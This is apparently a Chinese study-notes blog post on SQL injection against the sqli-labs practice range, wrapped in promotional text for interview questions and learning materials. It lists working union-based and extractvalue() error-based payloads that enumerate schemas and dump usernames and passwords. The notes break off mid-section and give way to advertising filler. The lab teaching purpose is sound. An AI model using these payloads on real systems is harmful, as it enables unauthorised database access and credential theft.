网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
前言
本篇文章仅作为本人学习参考笔记 。
一、sql注入是什么?
SQL注入是一种常见的网络安全攻击技术,它利用应用程序对用户输入数据的不正确处理,向数据库发送恶意的SQL查询语句。这种攻击技术可能导致数据库被非法访问、数据泄露、数据篡改或者完全瘫痪。从网络安全专业人员的角度来看,SQL注入是一种严重的安全漏洞,因为它可以被黑客用来绕过认证、窃取敏感数据、或者对系统进行破坏。
成因可以归结为以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
2、未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。
二、环境搭建——sqli-labs-master靶场搭建
参考链接:靶场搭建
三、注入类型
1.参数类型
(1)数字型
(2)字符型
(一)判断参数类型方式
以sqli-labs-master靶场第一关为例,Less-1第一关为字符型,通过id的传参不同,页面回显也不一样,传入1和2-1。
源代码:$ sql=“SELECT * FROM users WHERE id=$‘id’ LIMIT 0,1”;
两次界面相同则为数字型,不同则为字符型
以sqli-labs-master靶场第二关为例,Less-2第二关为数字型,通过id的传参不同,页面回显一样。
源代码:$ sql=“SELECT * FROM users WHERE id=$id LIMIT 0,1”;
(二)order by判断字段数
以sqli-labs-master靶场第二关(数字型)作为演示,使用order by关键字,通过二分法判断字段数,此关1,2,3页面无变化,变为4页面发生变化,所以字段数为3,列数就是3列
(三)判断回显位
以sqli-labs-master靶场第二关(数字型)作为演示
?id=111 union select 1,2,3 --+ //通过联合查询,id=111查询不出来,导致判断为假,执行后面语句
or
?id=1 and 1=2 union select 1,2,3 --+
//通过联合查询,id=1 adn 1=2判断为假,执行后面语句,回显位2,3,--+注释掉后面语句
2.手法类型
以下是几种常见的SQL注入类型,基于sqli-labs-master靶场第二关(数字型)作为演示:
层级关系
(一)联合查询
union select 1,version(),database() --+
//查询数据库版本、当前数据库名
union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+
// 查询出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+
// 查询出全部数据库,group\_concat()函数可查询多条信息,不使用group\_concat()只回显一条信息
union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+
// 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
// 爆出数据库" security "里的所有表名
union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+
// 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+
// 从表名" users "中爆出全部字段来
union select 1,database(),concat(id,0x7e,username,0x3A,password,0x7e) from users limit 0,1 --+
// 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+
// 从" users "表里对应的列名中爆出所有数据来
(二)报错注入
数据库版本不同,导致使用报错注入的函数或有差异,此次采用extractvalue()函数进行测试,其他函数方法类似
- 查出当前数据库
and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
//查出当前数据库
- 查库名
and extractvalue(1,concat(0x5e,(select schema_name from information_schema.schemata limit 1,1),0x5e)) --+
// 查询出一个数据库名,limit从第一条库名后开始,取一条库名
- 查表
?id=1' and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e)) --+
//从当前数据库查表,多条信息不显示所以用limit关键字限制,从第一条数据开始,取一条信息
- 查字段
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!